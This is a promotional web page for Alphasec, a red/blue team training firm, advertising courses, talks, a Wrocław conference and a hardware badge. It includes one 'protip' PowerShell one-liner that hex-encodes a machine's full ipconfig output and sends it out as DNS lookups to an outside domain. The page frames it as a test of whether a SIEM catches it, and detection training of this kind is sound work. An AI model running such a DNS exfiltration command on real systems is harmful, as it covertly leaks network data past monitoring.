Alphasec - red/blue team training, talks & APT simulations
Alphasec · red / blue team training

The best defenders are the ones who know how to attack.

Alphasec is a team of red and blue team practitioners. In-house training and talks are led by Paweł Maziarz - over 25 years in IT, red team lead at a Big Four firm, top-rated speaker at Confidence and What The H@ck. Knowledge that sticks in your team's habits.

alphasec@lab - pwsh · protip 008a
PS> (-join ((ipconfig /all|out-string).ToCharArray()|%{"{0:X2}"-f[int]$_}) -split "(.{64})" -match "." -replace "([\w]{16})", "`$1.").trim('.')|%{ Resolve-DNSName "$_.$(($i++)).aptmc.pl"}
// the whole network config left over DNS queries.
// does your SIEM catch it? we check on the training.

One one-liner like this per e-mail, straight from real engagements. Subscribe to protips →

Since 2014 more than 1000 specialists have been through our room - from teams at Allegro, Orange, T-Mobile, Santander, ING, mBank, PZU, KPMG, Netia and the Military University of Technology.

// offer

Three ways to work together.

Pick what matters most to you right now - from a single talk to an ongoing team-development program.

For teams & companies

In-house training & talks

We come into your organization (or run it remotely) and show your team the real techniques attackers use - so they can recognize, detect and stop them. War stories from the field, not slides full of definitions. Behind us: 17 editions of the APT Masterclass cycle and attack simulations in 7 countries.

Packages
1h keynote Half-day Full-day Series
Mode
Remote or on-site
Pricing
Tailored
Book a training
// on-site formats
For the whole company

"Dark Lord" awareness

Live, we show how the "Dark Lord" attacker takes over a company - phishing, malicious macros, swapped bank account numbers, fake WiFi, a dangerous USB stick. For non-technical audiences, 1–2h.

{{ dlVideoEl }}
For security teams

PowerShell in CyberSecurity

1 day of practice: from the basics to Command & Control, DNS, .NET and automation. Everyone leaves with ready-made tools and templates for their own work.

Hands-on, 2 days

APT Masterclass - workshops

The full attack chain in practice, based on MITRE ATT&CK and the Cyber Kill Chain. Offense and detection in one - a holistic picture that lifts the whole team's effectiveness.

// references

What people who sat in the room say.

{{ r.quote }}

{{ r.name }}{{ r.role }}
// about alphasec

From experience, not from a textbook.

We raise the level of cybersecurity in organizations. We bet on effectiveness: storytelling and examples from real engagements make the knowledge stick in teams' habits. Over 1000 specialists trained, 17 editions of APT Masterclass, talks that topped industry-conference rankings.

01 - Academy

Training

Open and closed training - from upskilling experts to awareness for non-technical staff.

02 - Products

Solutions

Software and hardware tools supporting prevention, detection and response - including the Hacktidotum program.

03 - Research

R&D IT Security

Original research projects - including ConfiBadge: malware simulating C2 channels (ICMP, DNS) and transmission over physical devices - serial port, FM waves.

// lead trainer

Paweł Maziarz

Founder of Alphasec · lead trainer

Over 25 years in IT: from Unix/Linux admin, through developer, to pentester and architect. One of the key people building the red team at a Big Four firm and co-founder of Immunity Systems. Founder of the Alphasec brand and creator of the APT Masterclass training series.

He has run advanced APT-class attack simulations for companies in several countries (Poland, Switzerland, Ireland, Azerbaijan, Croatia, Latvia, Romania). He also specializes in social engineering and physical security (proximity cards, access control).

Stage
Top-rated speaker - Confidence, What The H@ck, PLNOG, BSides Warsaw.
Program boards
Confidence and Oh My Hack.
Universities
Wrocław University of Science and Technology, Kozminski University, Lazarski University.
Publications
Author of a 70-page chapter on offensive PowerShell in Wprowadzenie do bezpieczeństwa IT, vol. 1 (Securitum) - a Polish-language book.
Focus
APT simulations, social engineering, physical security.
Paweł Maziarz
// reputation, not marketing
Talks topped industry-conference rankings. Not a claim - participant ratings.
// stage

Always near the top of the ratings.

Not a claim: surveys filled in by conference participants.

{{ t.title }}
{{ t.conf }} · {{ t.place }}

// PL = talk delivered in Polish. Happy to present any of these in English.

// …and dozens of other talks since 2014 - Semafor, Admin Days, Sekurak, OWASP, Infoshare

// alphacon

We've spoken on every stage that matters. Time to build our own.

Alphacon - a cybersecurity conference in Wrocław. Two full days once a year, intimate nano editions every few months.

soon
Intimate edition · Wrocław

Alphacon nano

One evening, around a hundred people, five blocks starting at 17:30. A deep-dive talk, a live panel with code on screen, a retro-hardware story and lightning talks from the floor. Knowledge exchange, not a sponsor track.

Hack the planet Man in the middle Back to the future Hack It Yourself
First edition later this year.
Programme and sign-up - alphacon.pl →
soon
Main edition · two days

Alphacon

Two days, full scale, deeply technical. The conference Wrocław has been missing.

We've been circling the idea for a few years. Alphacon nano is the first step towards it - and a way to find out how many people are waiting for the same thing.

// we sit on the program boards of CONFidence and Oh My Hack - we know how these are built from the inside

Front of the Alphacon badge - a triangular circuit board with an OLED display and an ESP32-C6 module Back of the Alphacon badge - battery, buzzer and the userport header
// badge

We're building the Alphacon nano badge ourselves.

An ESP32-C6, so Wi-Fi, Bluetooth and Zigbee in a single triangle. The userport is broken out on the back - plug in your own module. What you do with it is your business.

// waiting list

Let us know when registration opens.

One e-mail when we open registration for the next edition. Nothing else.

✓ You're on the list. We'll be in touch when registration opens.
// you can pick more than one
{{ alphaconErr }}
One click to unsubscribe.
// sample protips scroll →
// protips from the field

Short red/blue protips, straight to your inbox.

Concrete tips, one-liners and tricks from real engagements. No spam, no theory. The lightest way to start a conversation with us.

✓ Subscribed. Your first protip is on the way.
{{ protipErr }}
Unsubscribe with one click.
// book a training

Tell us what you need.

No off-the-shelf price list. Describe your situation briefly - we'll come back with a proposed format and a quote tailored to your team. We usually reply within 1–2 business days.

@ info@alphasec.pl
alphasec.pl

Thanks - your request is in.

We'll come back with a proposal and a quote within 1–2 business days. If it's urgent, write us directly at info@alphasec.pl.

Level
Mode
{{ briefErr }}
Alphasec

We raise the level of cybersecurity in organizations. Training that sticks in your team's habits.

Navigation
Brand

Alphasec is the umbrella. Within it: the APT Masterclass|FORGE training programs, the Hacktidotum product and the Alphacon conference.

Contact
info@alphasec.pl alphasec.pl
© 2020–{{ year }} Alphasec sp. z o.o. All rights reserved.
text adventure - type commands, e.g. LOOK AROUND